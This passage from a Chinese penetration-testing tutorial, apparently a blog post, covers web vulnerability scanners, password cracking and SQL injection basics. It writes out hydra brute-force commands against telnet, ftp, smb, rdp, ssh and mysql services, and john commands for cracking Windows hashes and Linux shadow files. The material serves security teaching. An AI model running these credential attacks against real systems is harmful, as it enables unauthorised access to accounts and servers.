    漏洞等级(高危|中危|低险|信息泄露)
    漏洞描述
    漏洞的危害(前半部分,后半部分)
    修复建议(前半部分,后半部分)
  • 获取的漏洞结合 metasploit 服务

9.3 W3af 扫描

https://www.freebuf.com/articles/5472.html
https://www.freebuf.com/column/146469.html

9.4 OWASP-ZAP 扫描

https://www.cnblogs.com/csnd/p/11807789.html

9.5 BURP-Scanner 扫描

抓包之后,发送到扫描即可

9.6 Nikto2扫描

https://blog.csdn.net/freeking101/article/details/72872502

七 口令破解

7.1 口令安全现状

弱口令:类似于123456、654321、admin123 等这样常见的弱密码。
默认口令:很多应用或者系统都存在默认口令。比如phpstudy的mysql数据库默认账密[root/root],Tomcat管理控制台默认账密[tomcat/tomcat]等。
明文传输:比如 http I ftp I telnet,在网络中传输的数据流都是明文的,包括口令认证信息等。这样的服务,有被嗅探的风险。

7.2 破解方式

  • 在线破解方式:帐+密,需要认证
    windows密码破解工具 ------> hydra
【九头蛇】
暴力破解23端口telnet协议:hydra.exe -l administrator -P d:\hydra-8.1-windows\pass.txt 10.1.1.1 telnet
暴力破解21端口ftp协议:hydra.exe -L d:\hydra-8.1-windows\user.txt -P d:\hydra-8.1-windows\pass.txt 10.1.1.1 ftp
暴力破解445端口smb协议:hydra.exe -l administrator -P d:\hydra-8.1-windows\pass.txt 10.1.1.1 smb【-vV显示暴力破解的过程】
暴力破解3389端口rdp协议:hydra.exe -l administrator -P d:\hydra-8.1-windows\pass.txt 10.1.1.1 rdp
暴力破解22端口ssh协议:hydra.exe -l administrator -P d:\hydra-8.1-windows\pass.txt 10.1.1.1 ssh
暴力破解3306端口mysql协议:hydra.exe -l administrator -P d:\hydra-8.1-windows\pass.txt 10.1.1.1 mysql

-l            指定一个用户名
-p            指定一个密码
-P            指定密码字典
-L            指定用户名字典
-vV           显示爆破细节
-o            保存爆破结果
-f            找到正确的密码就停止爆破
-e            // -e nsr
      n       null
      s       same
      r       反向
-t            设置线程
一般结合 msfconsole 工具。
  • 离线破解方式
    密文还原成明文的过程。

7.3 暴力破解

暴力破解就是利用所有可能得字符组密码,去尝试破解。这是最原始,粗暴的破解方法,根据运算能力,如果能够承受的起时间成本的话,最终一定会爆破出密码。下表是根据不同位数生成密码的空间大小。

字符集               密码位数                    密码空间
[0-9]                 8位                 10^8=100000000
[0-9][a-z]            8位                 36^8=2821109907456
[0-9][a-z]            1-8位               ??
  • 社工字典
    🐇 kali下cupp ,安装命令apt-get install cupp ,使用 cupp
    🐇 亦思社会工程学字典生成器

  • 字符集字典生成器
    🐇 真空密码字典生成器
    🐇 kali工具crunch:不会的话可以 man help https://www.jianshu.com/p/c20efd7f092c

7.4 口令破解

  • 字典收集
    子域名字典
    默认账号密码字典
    文件路径字典
    日志文件
    Web目录
    常用变量名字典
    常用文件名字典
    弱口令字典

7.5 windows口令破解

远程爆破

windows密码破解工具 ------> hydra

本地破解——账户hash值破解
  • 从内存中读取windows密码
    利用Getpass从内存中提取密码
  • windows hash 值破解
    首先使用QuarksPwdump工具提取windows账号存储在sam中的hash值,手工将hash值存储到hash.txt,使用saminside软件/join工具进行hash暴力破解。
    john win2k8.hash --format=NT --Wordlist=/root/dic/winPass.dic
    john win2k8.hash --show --format=NT

7.6 linux口令破解

远程爆破

linux口令破解,也分远程破解与本地破解。远程破解主要是爆破ssh服务,属于在线密码攻击。

本地破解——账户shadow文件破解

本地破解需要拿到Linux的shadow文件,进行hash值破解,属于离线密码攻击。.
我们可以使用john工具,破解shadow密码文件。
john也是自动集成在kali中。john破解的时候也需要准备一个字典。
[john shadow]

八 SQL注入基础

1 简介

结构化查询语言(St ructured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3.
135–1986),1987年得 到国际标准组织的支持下成为国际标准。

MYSQL ACCESS MSSQL orcal
明显的层次结构  
            库名字 | 表明 | 字段名 | 字段内容

不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。

2 漏洞原理

针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结外一 下两个原因叠加造成的:

1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

【注入点可能存在的位置】
根据SQL注入漏洞的原理,在用户可控参数中注入SQL语法,也就是说Web应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL注入的可能,这些地方通常包括:

  • GET数据
  • POST数据
  • HTTP头部(HTTP 请求报文其他字段)
  • Cookie数据
  • GPC(get,post,cookie)

3 漏洞危害

攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限

【分类】

  • SQL注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL注入分为数字型字符型
  • 数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。
  • 宇符型注入正好相反。

根据注入手法分类,大致可分为以下几个类别。

@ UNION query SQL injection(可联合查询注入)                    【联合查询】
@ Error-b
  • 0
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值